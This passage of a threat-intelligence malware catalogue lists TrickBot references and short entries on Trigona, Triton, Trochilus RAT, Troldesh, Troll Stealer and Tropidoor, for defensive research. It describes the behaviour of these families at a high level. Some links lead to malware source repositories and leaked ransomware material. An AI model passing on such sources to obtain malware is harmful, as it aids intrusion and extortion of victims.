https://technical.nttsecurity.com/post/102fnog/targeted-trickbot-activity-drops-powerbrace-backdoor
https://www.microsoft.com/security/blog/2021/02/01/what-tracking-an-attacker-email-infrastructure-tells-us-about-persistent-cybercriminal-operations/
https://f5.com/labs/articles/threat-intelligence/malware/little-trickbot-growing-up-new-campaign-24412
https://www.proofpoint.com/us/blog/security-briefs/threat-actors-pair-tax-themed-lures-covid-19-healthcare-themes

https://blogs.microsoft.com/on-the-issues/2020/10/12/trickbot-ransomware-cyberthreat-us-elections/

https://unit42.paloaltonetworks.com/sandbox-evasion-memory-detection/

https://therecord.media/russian-trickbot-malware-developer-pleads-guilty

https://securityintelligence.com/posts/trickbot-survival-instinct-trickboot-version/

https://securityintelligence.com/trickbots-cryptocurrency-hunger-tricking-the-bitcoin-out-of-wallets/

https://www.washingtonpost.com/national-security/cyber-command-trickbot-disrupt/2020/10/09/19587aae-0a32-11eb-a166-dc429b380d10_story.html

https://www.welivesecurity.com/2020/10/12/eset-takes-part-global-operation-disrupt-trickbot/

https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/

https://www.vkremez.com/2018/11/lets-learn-introducing-latest-trickbot.html

https://unit42.paloaltonetworks.com/wireshark-tutorial-examining-trickbot-infections/

https://threatresearch.ext.hp.com/wp-content/uploads/2021/10/HP-Wolf-Security-Threat-Insights-Report-Q3-2021.pdf

https://www.secureworks.com/blog/gold-ulrick-leaks-reveal-organizational-structure-and-relationships

https://decoded.avast.io/martinhron/meris-and-trickbot-standing-on-the-shoulders-of-giants/

https://www.blueliv.com/research/trickbot-banking-trojan-using-eflags-as-an-anti-hook-technique/

https://osint.fans/service-nsw-russia-association

https://malware.love/trickbot/malware_analysis/reverse_engineering/2020/11/17/trickbots-latest-trick.html

https://therecord.media/trickbot-new-attacks-see-the-botnet-deploy-new-banking-module-new-ransomware/

https://threatpost.com/conti-ransomware-decryptor-trickbot-source-code-leaked/178727/

https://public.intel471.com/blog/trickbot-update-november-2020-bazar-loader-microsoft/

https://securelist.com/trickbot-module-descriptions/104603/

https://www.justice.gov/opa/pr/officials-announce-international-operation-targeting-transnational-criminal-organization

https://www.npu.gov.ua/news/kiberzlochini/kiberpolicziya-vikrila-transnaczionalne-zlochinne-ugrupovannya-u-nanesenni-inozemnim-kompaniyam-120-miljoniv-dolariv-zbitkiv/

https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_5_sajo-takeda-niwa_en.pdf

https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf

http://www.pwc.co.uk/issues/cyber-security-data-privacy/research/trickbots-bag-of-tricks.html

https://www.bleepingcomputer.com/news/security/karakurt-revealed-as-data-extortion-arm-of-conti-cybercrime-syndicate/

https://blogs.microsoft.com/on-the-issues/2020/10/20/trickbot-ransomware-disruption-update/

https://www.secureworks.com/research/threat-profiles/gold-blackburn

https://www.deepinstinct.com/2019/07/12/trickbooster-trickbots-email-based-infection-module/

https://www.darkreading.com/vulnerabilities-threats/operation-endgame-takedowns-arrests-matter

https://www.fortinet.com/blog/threat-research/deep-analysis-of-trickbot-new-module-pwgrab.html

https://www.bleepingcomputer.com/news/security/ryuk-ransomware-attacked-epiq-global-via-trickbot-infection/

https://engineering.salesforce.com/easily-identify-malicious-servers-on-the-internet-with-jarm-e095edac525a

https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf

https://www.sneakymonkey.net/2019/10/29/trickbot-analysis-part-ii/

https://medium.com/walmartglobaltech/anchor-and-lazarus-together-again-24744e516607

https://blog.malwarebytes.com/threat-intelligence/2021/11/trickbot-helps-emotet-come-back-from-the-dead/

https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree

https://www.fortinet.com/blog/threat-research/new-variant-of-trickbot-being-spread-by-word-document.html

https://blog.intel471.com/2020/04/14/understanding-the-relationship-between-emotet-ryuk-and-trickbot/

https://www.botconf.eu/wp-content/uploads/2016/11/2016-LT09-TrickBot-Adams.pdf

https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/

https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf

https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf

https://research.checkpoint.com/2022/a-modern-ninja-evasive-trickbot-attacks-customers-of-60-high-profile-companies/

https://blog.cyberint.com/ryuk-crypto-ransomware

https://public.intel471.com/blog/global-trickbot-disruption-operation-shows-promise/

https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/trickbot-botnet-ransomware-disruption

https://resource.redcanary.com/rs/003-YRU-314/images/2021-Threat-Detection-Report.pdf

http://www.peppermalware.com/2019/03/quick-analysis-of-trickbot-sample-with.html

https://unit42.paloaltonetworks.com/trickbot-updates-password-grabber-module/

https://labs.sentinelone.com/top-tier-russian-organized-cybercrime-group-unveils-fileless-stealthy-powertrick-backdoor-for-high-value-targets/

https://labs.sentinelone.com/revealing-the-trick-a-deep-dive-into-trickloader-obfuscation/

https://securityintelligence.com/tricks-of-the-trade-a-deeper-look-into-trickbots-machinations/

https://malware.love/trickbot/malware_analysis/reverse_engineering/2020/11/22/trickbot-fake-ips-part2.html

https://www.microsoft.com/security/blog/2020/10/12/trickbot-disrupted/

https://unit42.paloaltonetworks.com/trickbot-campaign-uses-fake-payroll-emails-to-conduct-phishing-attacks/

https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf

https://www.sentinelone.com/blog/detecting-a-rogue-domain-controller-dcshadow-attack/

https://labs.sentinelone.com/how-trickbot-hooking-engine-targets-windows-10-browsers/

https://www.cisa.gov/uscert/ncas/alerts/aa22-110a

https://hello.global.ntt/en-us/insights/blog/trickbot-variant-communicating-over-dns

https://escinsecurity.blogspot.de/2018/01/weekly-trickbot-analysis-end-of-wc-22.html

https://www.lastline.com/labsblog/evolution-of-excel-4-0-macro-weaponization/

https://attackiq.com/2022/06/15/attack-graph-emulating-the-conti-ransomware-teams-behaviors/

https://therecord.media/us-arrests-latvian-woman-who-worked-on-trickbot-malware-source-code/

https://hurricanelabs.com/splunk-tutorials/splunking-with-sysmon-part-4-detecting-trickbot/

https://www.cyberbit.com/blog/endpoint-security/latest-trickbot-variant-has-new-tricks-up-its-sleeve/

https://medium.com/@vishal_29486/trickbot-a-concise-treatise-d7e4cc97f737

https://www.securityartwork.es/wp-content/uploads/2017/06/Informe_Evoluci%C3%B3n_Trickbot.pdf

https://thehackernews.com/2022/05/malware-analysis-trickbot.html

https://www.youtube.com/watch?v=EdchPEHnohw

https://thehackernews.com/2022/02/notorious-trickbot-malware-gang-shuts.html

https://www.bleepingcomputer.com/news/security/trickbot-uses-a-new-windows-10-uac-bypass-to-launch-quietly/

https://www.zscaler.com/blogs/research/trickbot-emerges-few-new-tricks

https://blog.talosintelligence.com/2018/07/smoking-guns-smoke-loader-learned-new.html

https://www.fidelissecurity.com/threatgeek/2016/10/trickbot-we-missed-you-dyre

https://unit42.paloaltonetworks.com/wireshark-tutorial-emotet-infection/

https://www.arbornetworks.com/blog/asert/trickbot-banker-insights/

http://www.malware-traffic-analysis.net/2018/02/01/

https://www.wired.com/story/trickbot-malware-group-internal-messages/

https://blog.trendmicro.com/trendlabs-security-intelligence/latest-trickbot-campaign-delivered-via-highly-obfuscated-js-file/

https://www.bitdefender.com/files/News/CaseStudies/study/399/Bitdefender-PR-Whitepaper-Trickbot-creat5515-en-EN.pdf

https://gallery.mailchimp.com/c35aef82661dad887b8162a4f/files/e24e8206-a157-4796-a8cb-2b7262cc76e8/CSIS_Threat_Matrix_H1_2019.pdf

https://www.prodaft.com/m/uploads/SilverFish_TLPWHITE.pdf

https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko

https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/

https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-ransomexx

https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf

https://www.bleepingcomputer.com/news/security/trickbot-now-steals-windows-active-directory-credentials/

https://www.bleepingcomputer.com/news/security/conti-ransomware-gang-takes-over-trickbot-malware-operation/

https://www.cybereason.com/blog/triple-threat-emotet-deploys-trickbot-to-steal-data-spread-ryuk-ransomware

https://blog.fraudwatchinternational.com/malware/trickbot-malware-works

https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker

https://www.govcert.admin.ch/blog/36/severe-ransomware-attacks-against-swiss-smes

https://www.youtube.com/watch?v=Brx4cygfmg8

https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html

https://na.eventscloud.com/file_uploads/6568237bca6dc156e5c5557c5989e97c_CrowdStrikeFal.Con2019_ThroughEyesOfAdversary_J.Ayers.pdf

https://blog.bushidotoken.net/2022/04/lessons-from-conti-leaks.html

https://community.riskiq.com/article/111d6005/description

https://www.fireeye.com/blog/threat-research/2020/03/the-cycle-of-adversary-pursuit.html

https://labs.sentinelone.com/building-a-custom-malware-analysis-lab-environment/

https://thehackernews.com/2022/02/trickbot-gang-likely-shifting.html

https://blog.talosintelligence.com/2020/03/trickbot-primer.html

https://medium.com/walmartglobaltech/inside-the-systembc-malware-as-a-service-9aa03afd09c6

https://www.secureworks.com/research/threat-profiles/gold-swathmore

https://www.microsoft.com/security/blog/2022/03/16/uncovering-trickbots-use-of-iot-devices-in-command-and-control-infrastructure/

https://www.secdata.com/the-trickbot-and-mikrotik/

http://www.vkremez.com/2017/12/lets-learn-introducing-new-trickbot.html

https://www.justice.gov/opa/pr/russian-national-extradited-united-states-face-charges-alleged-role-cybercriminal

https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself

https://therecord.media/trickbot-gang-shuts-down-botnet-after-months-of-inactivity/

https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf

https://www.justice.gov/opa/pr/latvian-national-charged-alleged-role-transnational-cybercrime-organization

https://www.hhs.gov/sites/default/files/bazarloader.pdf

https://www.netscout.com/blog/asert/dropping-anchor

https://github.com/JR0driguezB/malware_configs/tree/master/TrickBot

https://www.sneakymonkey.net/2019/05/22/trickbot-analysis/

https://elis531989.medium.com/the-chronicles-of-bumblebee-the-hook-the-bee-and-the-trickbot-connection-686379311056

https://www.fortinet.com/blog/threat-research/global-malicious-spam-campaign-using-black-lives-matter-as-a-lure

https://mal-eats.net/2021/05/10/campo_new_attack_campaign_targeting_japan/

https://www.bleepingcomputer.com/news/security/trickbot-gang-developer-arrested-when-trying-to-leave-korea/

https://www.secureworks.com/research/evolution-of-the-gold-evergreen-threat-group

https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf

https://labs.sentinelone.com/deep-dive-into-trickbot-executor-module-mexec-reversing-the-dropper-variant/

https://blog.talosintelligence.com/2021/10/threat-hunting-in-large-datasets-by.html

https://www.cyberscoop.com/trickbot-shutdown-conti-emotet/

https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/

https://www.youtube.com/watch?v=EyDiIAtdI

https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-006.pdf

http://www.secureworks.com/research/threat-profiles/gold-blackburn

https://blog.malwarebytes.com/threat-analysis/malware-threat-analysis/2018/11/whats-new-trickbot-deobfuscating-elements/

https://blogs.vmware.com/security/2021/06/detecting-uefi-bootkits-in-the-wild-part-1.html

https://labs.vipre.com/trickbots-tricks/

https://www.heise.de/security/artikel/Emotet-Trickbot-Ryuk-ein-explosiver-Malware-Cocktail-4573848.html

https://labs.sentinelone.com/inside-a-trickbot-cobaltstrike-attack-server/

https://blog.morphisec.com/trickbot-uses-a-new-windows-10-uac-bypass

https://blogs.vmware.com/networkvirtualization/2020/11/trick-or-threat-ryuk-ransomware-targets-the-health-care-industry.html/

https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/

https://thedfirreport.com/2021/08/01/bazarcall-to-conti-ransomware-via-trickbot-and-cobalt-strike/

https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf

https://www.crowdstrike.com/blog/wizard-spider-adversary-update/

https://unit42.paloaltonetworks.com/ryuk-ransomware/

https://home.treasury.gov/news/press-releases/jy1256

https://labs.bitdefender.com/2020/11/trickbot-is-dead-long-live-trickbot/

http://www.vkremez.com/2017/11/lets-learn-trickbot-socks5-backconnect.html

https://securityintelligence.com/posts/trickbot-bolsters-layered-defenses-prevent-injection/

https://umbrella.cisco.com/blog/navigating-cybersecurity-during-a-pandemic-latest-malware-and-threat-actors

http://www.vkremez.com/2018/04/lets-learn-trickbot-implements-network.html

https://www.bleepingcomputer.com/news/security/malware-tries-to-trump-security-software-with-potus-impeachment/

https://qmemcpy.io/post/reverse-engineering-malware-trickbot-part-2-loader

https://www.proofpoint.com/us/blog/threat-insight/first-step-initial-access-leads-ransomware

https://intel471.com/blog/a-brief-history-of-ta505

https://content.secureworks.com/-/media/Files/US/Reports/Monthly%20Threat%20Intelligence/Secureworks_ECO1_ThreatIntelligenceExecutiveReport2022Vol2.ashx

https://www.kryptoslogic.com/blog/2022/01/deep-dive-into-trickbots-web-injection/

https://cybersecurity.att.com/blogs/labs-research/trickbot-bazarloader-in-depth

https://www.bleepingcomputer.com/news/security/trickbot-malware-mistakenly-warns-victims-that-they-are-infected/

https://krebsonsecurity.com/2020/10/attacks-aimed-at-disrupting-the-trickbot-botnet/

https://www.wilbursecurity.com/2020/03/trickbot-to-ryuk-in-two-hours/

https://mal-eats.net/en/2021/05/11/campo_new_attack_campaign_targeting_japan/

https://public.intel471.com/blog/trickbot-online-emotet-microsoft-cyber-command-disruption-attempts/

https://www.youtube.com/watch?v=KMcSAlS9zGE

https://www.splunk.com/en_us/blog/security/detecting-trickbots.html

https://www.infosecurity-magazine.com/blogs/trickbot-mikrotik-connection/

https://ibm.ent.box.com/s/hs5pcayhbbhjvj8di5sqdpbbd88tsh89

https://intel471.com/blog/conti-emotet-ransomware-conti-leaks

https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware

https://www.bankinfosecurity.com/cybercrime-moves-conti-ransomware-absorbs-trickbot-malware-a-18573

https://www.bitdefender.com/files/News/CaseStudies/study/316/Bitdefender-Whitepaper-TrickBot-en-EN-interactive.pdf

https://securityintelligence.com/trickbot-takes-to-latin-america-continues-to-expand-its-global-reach/

https://www.flashpoint-intel.com/blog/trickbot-account-checking-hybrid-attack-model/

https://www.kryptoslogic.com/blog/2021/07/trickbot-and-zeus/

https://blog.vincss.net/re025-trickbot-many-tricks/

https://us-cert.cisa.gov/ncas/alerts/aa21-076a

http://blog.fortinet.com/2016/12/06/deep-analysis-of-the-online-banking-botnet-trickbot

https://twitter.com/VK_Intel/status/1328578336021483522

https://www.joesecurity.org/blog/498839998833561473

https://www.secureworks.com/blog/trickbot-modifications-target-us-mobile-users

https://blog.malwarebytes.com/threat-analysis/2017/08/trickbot-comes-with-new-tricks-attacking-outlook-and-browsing-data/

https://www.flashpoint-intel.com/blog/new-version-trickbot-adds-worm-propagation-module/

https://www.advintel.io/post/advintel-s-state-of-emotet-aka-spmtools-displays-over-million-compromised-machines-through-2022

https://www.intel471.com/blog/Cobalt-strike-cybercriminals-trickbot-qbot-hancitor

https://securityintelligence.com/posts/itg08-aka-fin6-partners-with-trickbot-gang-uses-anchor-framework/

https://www.secureworks.com/research/threat-profiles/gold-ulrick

https://securityintelligence.com/posts/from-ramnit-to-bumblebee-via-neverquest

https://twitter.com/anthomsec/status/1321865315513520128

https://intezer.com/blog/intezer-analyze/fantastic-payloads-and-where-we-find-them

https://community.riskiq.com/article/298c9fc9

https://nattothoughts.substack.com/p/ransom-war-russian-extortion-operations

https://www.advanced-intel.com/post/trickbot-group-launches-test-module-alerting-on-fraud-activity

https://go.recordedfuture.com/hubfs/reports/cta-2022-0118.pdf

https://labs.sentinelone.com/deep-dive-into-trickbot-executor-module-mexec-hidden-anchor-bot-nexus-operations/

https://www.europol.europa.eu/newsroom/news/12-targeted-for-involvement-in-ransomware-attacks-against-critical-infrastructure

https://krebsonsecurity.com/2022/03/conti-ransomware-group-diaries-part-ii-the-office/

https://www.berlin.de/sen/justva/presse/pressemitteilungen/2020/pm-11-2020-t-systems-forensik_bericht_public_v1.pdf

https://cyber.wtf/2020/08/31/trickbot-rdpscandll-password-transof/

https://www.govcert.ch/blog/37/trickbot-an-analysis-of-data-collected-from-the-botnet

https://www.kryptoslogic.com/blog/2021/02/trickbot-masrv-module/

https://go.recordedfuture.com/hubfs/reports/cta-2021-1112.pdf

https://www.welivesecurity.com/wp-content/uploads/2021/02/ESET_Threat_Report_Q42020.pdf

https://www.bleepingcomputer.com/news/security/lightbot-trickbot-s-new-reconnaissance-malware-for-high-value-targets/

https://thedfirreport.com/2021/01/11/trickbot-still-alive-and-well/

https://thedfirreport.com/2021/05/02/trickbot-brief-creds-and-beacons/

https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf

https://www.cert.pl/en/news/single/detricking-trickbot-loader/

https://www.bleepingcomputer.com/news/security/cisa-updates-conti-ransomware-alert-with-nearly-100-domain-names/

https://www.justice.gov/opa/pr/multiple-foreign-nationals-charged-connection-trickbot-malware-and-conti-ransomware

https://www.reuters.com/technology/details-another-big-ransomware-group-trickbot-leak-online-experts-say-2022-03-04/

https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf

https://www.webroot.com/blog/2018/03/21/trickbot-banking-trojan-adapts-new-module/

https://blog.morphisec.com/trickbot-delivery-method-gets-a-new-upgrade-focusing-on-windows

https://www.ic3.gov/Media/News/2022/220120.pdf

https://www.nisos.com/research/trickbot-trickleaks-data-analysis/

https://news.sophos.com/en-us/2020/02/18/nearly-a-quarter-of-malware-now-communicates-using-tls/

https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html

https://www.zscaler.com/blogs/security-research/new-trickbot-and-bazarloader-campaigns-use-multiple-delivery-vectors

https://www.cyberark.com/resources/threat-research-blog/conti-group-leaked

https://www.cybereason.com/blog/cybereason-vs.-ryuk-ransomware

https://www.mandiant.com/media/12596/download

https://share.vx-underground.org/Conti/

https://redcanary.com/resources/webinars/deep-dive-process-injection/

https://sysopfb.github.io/malware/2018/04/16/trickbot-uacme.html

https://blog.reversinglabs.com/blog/conversinglabs-ep-2-conti-pivots-as-ransomware-as-a-service-struggles

https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf

https://www.slideshare.net/proidea_conferences/inside-cybercrime-groups-harvesting-active-directory-for-fun-and-profit-vitali-kremez

https://www.youtube.com/watch?v=lTywPmZEU1A

https://www.bleepingcomputer.com/news/security/trickbot-now-uses-a-windows-10-uac-bypass-to-evade-detection/

https://threatresearch.ext.hp.com/detecting-a-stealthy-trickbot-campaign/

https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/

https://resources.malwarebytes.com/files/2020/02/2020_State-of-Malware-Report.pdf

https://www.intrinsec.com/deobfuscating-hunting-ostap/

https://www.gosecure.net/blog/2021/12/03/trickbot-leverages-zoom-work-from-home-interview-malspam-heavens-gate-and-spamhaus/

https://securelist.com/financial-cyberthreats-in-2020/101638/

https://securityintelligence.com/posts/trickbot-conti-crypters-where-are-they-now/

https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf

https://intel471.com/blog/ettersilent-maldoc-builder-macro-trickbot-qbot/

https://unit42.paloaltonetworks.com/goodbye-mworm-hello-nworm-trickbot-updates-propagation-module/

https://threatpost.com/conti-ransomware-v-3-including-decryptor-leaked/179006/

https://research.checkpoint.com/2023/following-the-scent-of-trickgate-6-year-old-packer-used-to-deploy-the-most-wanted-malware/

https://labs.sentinelone.com/enter-the-maze-demystifying-an-affiliate-involved-in-maze-snow/

https://threatpost.com/trickbot-amazon-paypal-top-brands/178483/

https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf

https://www.crowdstrike.com/blog/sin-ful-spiders-wizard-spider-and-lunar-spider-sharing-the-same-web/

https://intel471.com/blog/privateloader-malware

https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-adds-remote-application-credential-grabbing-capabilities-to-its-repertoire/

https://cofenselabs.com/all-you-need-is-text-second-wave/

https://research.checkpoint.com/2021/when-old-friends-meet-again-why-emotet-chose-trickbot-for-rebirth/

https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/evolving-trickbot-adds-detection-evasion-and-screen-locking-features

https://f5.com/labs/articles/threat-intelligence/malware/trickbot-expands-global-targets-beyond-banks-and-payment-processors-to-crms

https://www.hornetsecurity.com/en/security-information/trickbot-malspam-leveraging-black-lives-matter-as-lure/

https://public.intel471.com/blog/partners-in-crime-north-koreans-and-elite-russian-speaking-cybercriminals/

https://intel471.com/blog/conti-leaks-ransomware-development

https://inquest.net/blog/2019/08/26/TrickBot-Memory-Analysis

https://www.advintel.io/post/the-trickbot-saga-s-finale-has-aired-but-a-spinoff-is-already-in-the-works

https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-shows-off-new-trick-password-grabber-module

https://community.riskiq.com/article/04ec92f4

https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Publikationen/Lageberichte/Lagebericht2020.pdf?blob=publicationFile&v=2

https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html

https://www.justice.gov/opa/press-release/file/1445241/download

https://duo.com/decipher/trickbot-up-to-its-old-tricks

https://www.wired.co.uk/article/trickbot-malware-group-internal-messages

https://medium.com/walmartglobaltech/trickbot-crews-new-cobaltstrike-loader-32c72b78e81c

https://www.ringzerolabs.com/2017/07/trickbot-banking-trojan-doc00039217doc.html

https://noticeofpleadings.com/trickbot/files/Complaint%20and%20Summons/2020-10-06%20Trickbot%201%20Complaint%20with%20exs.pdf

https://www.domaintools.com/resources/blog/tracking-a-trickbot-related-ransomware-incident

https://arcticwolf.com/resources/blog/karakurt-web

Trigona

According to PCrisk, Trigona is ransomware that encrypts files and appends the "._locked" extension to filenames. Also, it drops the "how_to_decrypt.hta" file that opens a ransom note. An example of how Trigona renames files: it renames "1.jpg" to "1.jpg._locked", "2.png" to "2.png._locked", and so forth.

It embeds the encrypted decryption key, the campaign ID, and the victim ID in the encrypted files.

The tag is: *misp-galaxy:malpedia="Trigona"*

Trigona is also known as:

Table 5385. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.trigona
https://asec.ahnlab.com/en/61000/
https://asec.ahnlab.com/en/51343/
https://www.fortinet.com/blog/threat-research/ransomware-roundup-trigona-ransomware
https://unit42.paloaltonetworks.com/trigona-ransomware-update/
https://resources.prodaft.com/wazawaka-report
https://www.trendmicro.com/en_us/research/23/f/an-overview-of-the-trigona-ransomware.html

Triton

Malware attacking commonly used in Industrial Control Systems (ICS) Triconex Safety Instrumented System (SIS) controllers.

The tag is: *misp-galaxy:malpedia="Triton"*

Triton is also known as:

- HatMan
- Trisis

Table 5386. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.triton
https://home.treasury.gov/news/press-releases/sm1162
https://dragos.com/blog/trisis/TRISIS-01.pdf
https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html

https://us-cert.cisa.gov/sites/default/files/documents/MAR-17-352-01%20HatMan%20-%20Safety%20System%20Targeted%20Malware%20%28Update%20A%29_S508C.PDF
https://www.cisa.gov/uscert/ncas/alerts/aa22-110a
https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf
https://www.ic3.gov/Media/News/2022/220325.pdf
https://ics-cert.us-cert.gov/sites/default/files/documents/MAR-17-352-01%20HatMan%E2%80%94Safety%20System%20Targeted%20Malware_S508C.pdf
https://www.ironnet.com/blog/russian-cyber-attack-campaigns-and-actors
https://www.nozominetworks.com//downloads/US/Nozomi-Networks-TRITON-The-First-SIS-Cyberattack.pdf
https://www.mandiant.com/resources/mandiant-red-team-emulates-fin11-tactics
https://www.eenews.net/stories/1060123327/
https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1538425180.pdf
https://www.cisa.gov/uscert/ncas/alerts/aa22-083a
https://www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html
https://www.domaintools.com/resources/blog/visibility-monitoring-and-critical-infrastructure-security
https://www.midnightbluelabs.com/blog/2018/1/16/analyzing-the-triton-industrial-malware
https://securelist.com/apt-trends-report-q2-2019/91897/
https://github.com/ICSrepo/TRISIS-TRITON-HATMAN

Trochilus RAT

Trochilus is a C++ written RAT, which is available on GitHub. GitHub Repo: - https://github.com/m0n0ph1/malware-1/tree/master/Trochilus - https://github.com/5loyd/trochilus

The tag is: *misp-galaxy:malpedia="Trochilus RAT"*

Trochilus RAT is also known as:

Table 5387. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.trochilus_rat
https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/operation-drbcontrol-uncovering-a-cyberespionage-campaign-targeting-gambling-companies-in-southeast-asia
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/webworm-espionage-rats
https://blogs.jpcert.or.jp/en/2017/04/redleaves---malware-based-on-open-source-rat.html

https://github.com/5loyd/trochilus/
https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf
https://go.recordedfuture.com/hubfs/reports/cta-2019-0206.pdf
https://app.box.com/s/z1uanuv1vn3vw5iket1r6bqrmlra0gpn
https://www.secureworks.com/research/bronze-vinewood-targets-supply-chains
https://github.com/m0n0ph1/malware-1/tree/master/Trochilus
https://www.secureworks.com/research/threat-profiles/bronze-vinewood
https://www.sstic.org/media/SSTIC2020/SSTIC-actes/pivoter_tel_bernard_ou_comment_monitorer_des_attaq/SSTIC2020-Slides-pivoter_tel_bernard_ou_comment_monitorer_des_attaquants_ngligents-lunghi.pdf
https://www.botconf.eu/wp-content/uploads/2022/05/Botconf2022-40-LunghiHorejsi.pdf
https://raw.githubusercontent.com/yt0ng/cracking_softcell/main/Cracking_SOFTCLL_TLP_WHITE.pdf
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/espionage-asia-governments

Troldesh

According to Malwarebyte, Ransomware is a type of malware that prevents users from accessing their system or personal files and demands ransom payment in order to regain access. Ransom.Troldesh is spread by malspam, typically in the form of attached .zip files. This ransomware sometimes uses a CMS on a compromised site to host downloads.

The tag is: *misp-galaxy:malpedia="Troldesh"*

Troldesh is also known as:

- Shade

Table 5388. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.troldesh
https://blog.avast.com/ransomware-strain-troldesh-spikes
https://support.kaspersky.com/13059
https://blog.checkpoint.com/2015/06/01/troldesh-new-ransomware-from-russia/
https://unit42.paloaltonetworks.com/shade-ransomware-hits-high-tech-wholesale-education-sectors-in-u-s-japan-india-thailand-canada/
https://www.zdnet.com/article/shade-troldesh-ransomware-shuts-down-and-releases-all-decryption-keys/
https://github.com/shade-team/keys

https://blogs.technet.microsoft.com/mmpc/2016/07/13/troldesh-ransomware-influenced-by-the-da-vinci-code/
https://isc.sans.edu/forums/diary/More+Russian+language+malspam+pushing+Shade+Troldesh+ransomware/24668/
https://labs.bitdefender.com/2020/05/shade-troldesh-ransomware-decryption-tool/
https://securelist.com/the-shade-encryptor-a-double-threat/72087/
https://www.welivesecurity.com/2019/01/28/russia-hit-new-wave-ransomware-spam/

Troll Stealer

The tag is: *misp-galaxy:malpedia="Troll Stealer"*

Troll Stealer is also known as:

Table 5389. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.troll_stealer
https://medium.com/s2wblog/kimsuky-disguised-as-a-korean-company-signed-with-a-valid-certificate-to-distribute-troll-stealer-cfa5d54314e2

Tropidoor

Tropidoor is an advanced HTTP/S Remote Access Trojan (RAT) written as a C project, which exhibits significant code overlap with the PostNapTea RAT. In November 2024, it was deployed in campaigns targeting developers via fake recruiters as part of a social engineering campaign distributing trojanized open-source projects on platforms like Bitbucket. It is a final-stage payload in a multi-stage execution chain, which also deployed an obfuscated BeaverTail malware.

The RAT uses RSA and AES for encryption and decryption of network traffic. Communication with the C2 uses specific HTTP POST parameters, including tropi2p, gumi, s_width, and letter, with the first parameter loosely inspiring its code name. It stores its configuration in a binary format and resolves required Windows APIs during runtime via the Fowler–Noll–Vo (FNV) hash function. Many of its characteristic strings are XOR encrypted.

A key technical feature is its custom implementation of various Windows administrative and reconnaissance commands. By implementing this functionality internally, the RAT avoids executing the legitimate Windows binaries, making its command execution activities harder to detect by behavioral monitoring tools. Custom implemented commands include functionality equivalent to standard utilities like:

arp dir ipconfig kill net netsh netstat nslookup ping reg rm sc schtasks systeminfo tracert wmic logicaldisk wmic process

The tag is: *misp-galaxy:malpedia="Tropidoor"*

Tropidoor is also known as:

Table 5390. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tropidoor
